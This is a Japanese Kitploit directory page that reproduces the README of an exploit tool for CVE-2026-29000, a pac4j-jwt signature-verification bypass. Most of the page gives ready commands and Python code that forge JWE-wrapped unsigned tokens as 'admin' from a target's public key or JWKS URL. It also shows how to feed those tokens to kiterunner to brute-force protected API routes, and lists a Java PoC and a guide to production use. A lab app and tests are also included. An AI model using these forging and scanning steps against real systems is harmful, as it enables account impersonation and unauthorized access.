Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29000 — Forge JWEラップされた未署名JWTを作成し、pac4j-jwtの署名検証(CVE-2026-29000)をバイパスして任意のユーザーとして認証します。Python CLI、ライブラリ、Java PoC、kiterunnerルートスキャンを含みます。 | Kitploit
ツール/GitHubGitHub/kernelzeroday/cve-2026-29000
認証と認可偵察ペイロード生成脆弱性分析エクスプロイトスクリプトと自動化ウェブアプリケーション悪用ペネトレーションテスト
GitHubkernelzeroday/cve-2026-29000

CVE-2026-29000

Forge JWEラップされた未署名JWTを作成し、pac4j-jwtの署名検証(CVE-2026-29000)をバイパスして任意のユーザーとして認証します。Python CLI、ライブラリ、Java PoC、kiterunnerルートスキャンを含みます。

リポジトリを見る
935ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-29000: pac4j-jwt JwtAuthenticator 認証バイパス

完全なビルドアウト: ライトアップ、Java インプロセス PoC、Python トークンフォージ CLI とライブラリ、テスト。

概要

  • CVE: CVE-2026-29000 (CVSS 10、CWE-347)
  • 影響を受けるバージョン: JWE + 署名設定を使用する場合の pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3
  • 問題: JWE でラップされた PlainJWT (署名なし) が署名検証をバイパスします。サーバーの RSA 公開鍵のみを持つ攻撃者は、トークンを偽造し、任意のユーザーとして認証できます。

詳細と PoC の要件については WRITEUP.md を参照してください。

レイアウト

パス説明
WRITEUP.mdCVE 概要、根本原因、影響を受けるバージョン、PoC 要件、参考文献
RECON.md何を入れるか (クレームの発見、アプリ固有のクレーム) と どこに提出するか (ヘッダー、クッキー、保護されたエンドポイントの発見)
OPERATIONALIZATION.md本番環境で実行するために必要なもの: パッケージング、設定、安全性、自動化、可観測性、メンテナンス
scripts/kr_scan.pyトークンを偽造し、Authorization: Bearer を使用して kiterunner (~/bin/kr) を実行し、保護された API ルートをブルートフォース/スキャンする
examples/サンプルスクリプト: forge_and_curl.sh、forge_and_kr.sh
lab/トークンフォージのテスト用 Flask ラボアプリ (JWE エンドポイント + JWKS)
poc/Java Maven PoC (pac4j-jwt 6.0.3 に対するインプロセスバイパス)
token_forge/Python パッケージ: PEM または JWKS URL から JWE ラップされた PlainJWT を偽造する
tests/クレーム、フォージ、キー、CLI の Pytest テスト
requirements.txtPython 依存関係 (jwcrypto、requests、pytest)

Python (トークンフォージ)

セットアップ

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate   # Windows の場合は .venv\Scripts\activate
pip install -r requirements.txt

CLI の実行

root@kitploit:~
# PEM から (生成: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# JWKS URL から
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin

# 追加クレーム (アプリ固有の発見用): --claim [email protected] --claim key=value
# オプション: --exp-sec、--jwks-kid、--log-file、--enable-file-logging、--verbose

出力: 1 行 (偽造された JWT)。Authorization: Bearer <token> として使用します。

Kiterunner (kr) 自動化

kr が ~/bin/kr にある必要があります。トークンを偽造し、Bearer 認証で kr brute (または kr scan) を実行して保護されたルートを発見します:

root@kitploit:~
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run

オプション (--subject、--roles、--claim、-A、--scan など) については RECON.md の §4 を参照してください。

ライブラリ

root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

テスト

root@kitploit:~
pytest -vv --tb=short --maxfail=1
# または警告をエラーとして扱う場合:
pytest -vv -W error -W always --tb=short --maxfail=1

Java PoC

ビルドと実行 (Java 11+ と Maven が必要)

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# またはトークンのみ (インプロセス検証なし):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# カスタム subject/roles を使用:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

期待される出力: インプロセス実行時に [BYPASS] Authenticated as: admin#override とロール。

テストとカバレッジ

root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # その後 htmlcov/index.html を開く

Docker

root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

ラボ (脆弱なターゲット)

JWE を受け入れ、クレームを返す Flask アプリ (フォージ + curl/kr のテスト用)。

root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

lab/README.md を参照してください。

参考文献

  • CodeAnt AI – 完全な PoC と分析
  • pac4j セキュリティアドバイザリ
  • OpenCVE CVE-2026-29000
ツールをダウンロード